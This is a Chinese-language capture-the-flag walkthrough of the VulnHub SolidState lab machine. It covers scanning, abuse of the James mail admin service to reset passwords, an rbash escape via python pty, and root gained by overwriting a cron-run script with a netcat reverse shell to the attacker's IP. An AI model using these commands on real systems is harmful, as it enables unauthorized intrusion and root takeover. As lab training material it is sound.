VulnHub-SolidState: 1 靶场渗透测试
时间:2021.8.17
靶场信息:
地址:https://www.vulnhub.com/entry/solidstate-1,261/
发布日期:2018年9月12日
目标:得到root权限&找到flag.txt
一、信息收集
1、获取靶机IP地址
nmap -sP 192.168.137.0/24
由探测结果可知,靶机的IP为192.168.137.144
2、扫描开放的端口和服务
nmap -sS -sV -T5 -p- 192.168.137.144
得到开放的端口信息:
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
25/tcp open smtp JAMES smtpd 2.3.2
80/tcp open http Apache httpd 2.4.25 ((Debian))
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
3、网站信息收集
打开,发现只是一些介绍的信息,用nikto,dirb,gobuster扫了一波,也没发现什么有用的
二、漏洞探测
前面通过nmap扫到了4555端口,搭建了一个james邮件服务器,使用telnet连接
使用listusers列出所有用户,后面肯定是想着登录这些用户的邮箱里查看邮件的,所以这里将所有用户的密码重置一下
user: james
user: thomas
user: john
user: mindy
user: mailadmin
有了pop3的用户名和密码,登录查看邮件,james里面没发现邮件
john下发现一封没有价值的邮件
在mindy用户的邮箱中发现了一封记录着mindy ssh登录密码的邮件
username: mindy
pass: P@55W0rd1!2@
有了密码就ssh登录看看,发现是一个rbash(限制型bash),是平时所谓的 restricted shell的一种,也是最常见的 restricted shell(rbash、ksh、rsh等)
查看当前目录发现user.txt得到flag1,还发现一个bin目录,里面记录着可以使用的shell命令
三、漏洞利用
渗透中遇到restricted shell是一件很烦人的事,可以参考下面这篇文章来突破:
这里我们在ssh 登录时可以通过spawn shell逃逸
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'"
也可以根据前面探测到的james来利用,这个版本存在远程命令执行的漏洞,漏洞的exp可参考:
将exp下载到kali上,也可以在kali上搜索到对应的exp,然后稍微修改exp即可使用。
这里还是用rbash逃逸来进行渗透,由于之前探测到有james,我们查找对应的进程,发现james在/opt目录下
进入opt目录下,发现一个一root身份运行的py脚本,查看发现是清理/tmp目录的
四、提权
猜想应该是定时任务,我们修改tmp.py,直接让它反弹一个root权限的shell
echo 'import os; os.system("/bin/nc 192.168.137.150 8888 -e /bin/bash")' > /opt/tmp.py
在kali这边监听8888端口,大概两分钟就会反弹shell过来,查看flag即可
总结
这台靶机目的是让我们掌握Apache James Server 2.3.2的漏洞利用方式,提权的方式之前也接触过许多次,总体难度还不错。